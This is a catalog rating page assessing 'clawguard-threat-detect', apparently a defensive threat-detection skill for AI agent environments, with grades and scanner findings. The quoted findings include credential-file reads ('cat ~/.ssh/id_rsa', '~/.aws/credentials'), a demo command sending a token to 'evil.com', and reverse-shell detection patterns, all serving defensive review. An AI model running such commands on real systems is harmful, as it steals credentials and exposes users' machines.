SKILLEMALL.ai
GitHub ↗ RU Sign in

DF clawguard-threat-detect

ClawGuard Threat Detector - Real-time behavioral monitoring, attack pattern detection, MITRE ATT&CK mapping, and AI-powered anomaly detection for OpenClaw runtime environments

Not recommendedlow grade D
ClawHub Agent Skills author: stardreaming v3.0.0 MIT-0 7 files body ≈ 5 037 tokens Open the sourceclawhub.ai↗ analyzed 3 d ago

As a process F 47/100 · Will not run — References files that are not bundled: token|key|password|secret|api_key

AnalyzerInfrastructuretype and topics are labelled automatically from the skill text
Runs in: OpenClaw Claude / Claude Code ChatGPT / Codex Gemini CLI Cursor GitHub Copilot / VS Code Qwen Code Kimi Code CLI Z.ai (GLM) DeepSeek (Deep Code) Mistral Vibe LangChain (deepagents) Goose OpenCode
JSON
Technical rating
D
58/100
safety, quality, tests
Safety 60%
52
Quality 40%
68
Run on models
none yet
Process rating
F
47/100
Will not run
References files that are not bundled: token|key|password|secret|api_key
Tools and files w 18
0
Failures and branches w 10
0
When it triggers w 12
20
the three weakest of ten parameters · all ten

What is at stake

Medium-severity findings: the skill is probably honest, but read what alarmed the scanner.

Exfiltration medium severity

Below is the worst case for this category. The finding here is medium: the guard saw a sign, not a proof.

If you install

The instructions or scripts send data out: environment variables, keys, file contents, chat history. You may never notice, because the agent performs the upload as "part of the task".

For the author

If the upload is not needed for the task, remove it: catalogs flag such skills and delist them. If it is needed, name the destination explicitly, say what leaves the machine, and give the user a switch.

How to improve

  1. The SKILL.md body is over 5,000 tokens: move reference detail into references/ and load it when needed.
  2. The text references files that are not there: add them or drop the references.
For the model run — optional
  • Your own cases (evals/evals.json, 4–6 real requests with expected answers): the full check would then run those instead of a model-drafted suite.
  • A spec.yaml with trigger phrases and assertions — a behaviour contract for CI; `skilltest init` writes a template.

Guard findings · 28

✓ No critical or high findings

Medium and low: 28
  • medium Exfiltration exfil-read-secret-files SKILL.md:458
    Reads credential / secret files (documentation of a security skill)
    │    → cat ~/.ssh/id_rsa                                     │
    security skill
  • medium Exfiltration exfil-read-secret-files SKILL.md:459
    Reads credential / secret files (documentation of a security skill)
    │    → cat ~/.aws/credentials                                │
    security skill
  • medium Exfiltration exfil-read-secret-files SKILL.md:649
    Reads credential / secret files (documentation of a security skill)
    [10:28:30] ACCESS: cat ~/.ssh/id_rsa
    security skill
  • low Exfiltration exfil-secret-in-url cli.js:67
    Credential passed in a URL query string (normal for some APIs — verify the host is the intended service) (security demo / example; quoted — discussed, not commanded)
    console.log('  node cli.js check "curl http://evil.com?token=…"');
    demoquoted
  • low Exfiltration net-credential-use cli.js:67
    Credential used in a network call (verify the destination is the intended service) (security demo / example; quoted — discussed, not commanded)
    console.log('  node cli.js check "curl http://evil.com?token=…"');
    demoquoted
  • low Exfiltration exfil-secret-in-url cli.js:100
    Credential passed in a URL query string (normal for some APIs — verify the host is the intended service) (security demo / example; quoted — discussed, not commanded)
    console.log('  node cli.js check "curl http://evil.com?token=…"');
    demoquoted
  • low Exfiltration net-credential-use cli.js:100
    Credential used in a network call (verify the destination is the intended service) (security demo / example; quoted — discussed, not commanded)
    console.log('  node cli.js check "curl http://evil.com?token=…"');
    demoquoted
  • low Risky intent intent-offensive-security README.md:3
    Offensive-security / dual-use content (legitimate for authorised testing; review intended use) (detector / deny-list definition)
    **ClawGuard Detect** is a real-time behavioral monitoring and threat detection system for OpenClaw environments. It provides continuous runtime protection by detecting attacks as they happen, includin
    detector
  • low Dangerous commands cmd-privilege README.md:51
    Privilege escalation / world-writable permissions (documentation of a security skill)
    - Privilege escalation (sudo, chmod 777)
    security skill
  • low Risky intent intent-offensive-security README.md:51
    Offensive-security / dual-use content (legitimate for authorised testing; review intended use)
    - Privilege escalation (sudo, chmod 777)
  • low Risky intent intent-offensive-security README.md:82
    Offensive-security / dual-use content (legitimate for authorised testing; review intended use)
    - Privilege escalation → Persistence
  • low Risky intent intent-offensive-security README.md:93
    Offensive-security / dual-use content (legitimate for authorised testing; review intended use)
    | Privilege Escalation | T1068, T1548 | ✅ |
  • low Risky intent intent-offensive-security SKILL.md:34
    Offensive-security / dual-use content (legitimate for authorised testing; review intended use)
    - Reverse shell: `bash -i`, `nc -e`, `python.*socket`, `/dev/tcp/`
  • low Dangerous commands cmd-privilege SKILL.md:35
    Privilege escalation / world-writable permissions (negated — the text forbids it)
    - Privilege escalation: `sudo`, `chmod 777`, `chown`
    negated
  • low Risky intent intent-offensive-security SKILL.md:35
    Offensive-security / dual-use content (legitimate for authorised testing; review intended use)
    - Privilege escalation: `sudo`, `chmod 777`, `chown`
  • low Risky intent intent-offensive-security SKILL.md:66
    Offensive-security / dual-use content (legitimate for authorised testing; review intended use)
    - Privilege escalation → Persistence
  • low Risky intent intent-offensive-security SKILL.md:105
    Offensive-security / dual-use content (legitimate for authorised testing; review intended use)
    - **Real-time Attacks**: Data exfiltration, reverse shells, privilege escalation
  • low Risky intent intent-offensive-security SKILL.md:109
    Offensive-security / dual-use content (legitimate for authorised testing; review intended use)
    - **Lateral Movement**: Attempts to access unauthorized resources

A further 10 matches are quotations in this security skill's documentation and are not counted as findings.

Files scanned: 7. Evidence is masked. Grey chips explain why severity was lowered.

Against the Agent Skills spec

  • warning body-long SKILL.md body ≈ 5037 tokens (recommended < 5000); move details to references/
  • warning missing-ref reference to a missing file: token|key|password|secret|api_key
  • note frontmatter-key unknown frontmatter key "homepage"

Process rating: all ten parameters 47/100

Will not run. References files that are not bundled: token|key|password|secret|api_key
  • 0Tools and files. 1 referenced file(s) missing: token|key|password|secret|api_key
  • 0Failures and branches. Linear process with no failure handling
  • 20When it triggers. No condition that starts the skill
  • 40Consistency. Frontmatter name (clawguard-threat-detect) differs from the folder (clawguard-detector)
  • 60Result and completion. Output format stated, no completion criterion
  • 70Inputs and preconditions. Inputs and preconditions are listed
  • 70Execution cost. Instruction body is 5037 tokens
  • 100Steps. 47 steps
  • 100Running it twice. Mutating operations check current state
  • 100Progress reporting. Reports progress
  • low 16 top-level sections: this looks like several domains in one skill

Everything here is measured from the skill text rather than judged by a model, so the numbers are checkable. A parameter weighs more when it is a more common reason for the process to stall.

Quality signals

  • +5Description has no quoted example phrases that should trigger the skill
  • +4Description does not say when NOT to use the skill (false activations)
  • -228 emoji in the instructions: noise for the model
  • +1No license
  • +2Single-language instructions
  • +3Description length 175: enough signal without eating the budget
  • +4Structure: 46 headings
  • +3Step-by-step instructions: 47 items
  • +3Output format is stated explicitly
  • +4Has examples (14 code blocks)

Quality base 70; lint remarks subtract, signals add up to 100. Result: 68.

External checks

ClawHub: suspicious
This appears to be a defensive threat-detection skill, but it asks for broad monitoring and automatically forwards sensitive threat details to an undeclared sibling learning module without clear controls.
LLM: suspicious (high) · VirusTotal: · 29 May 2026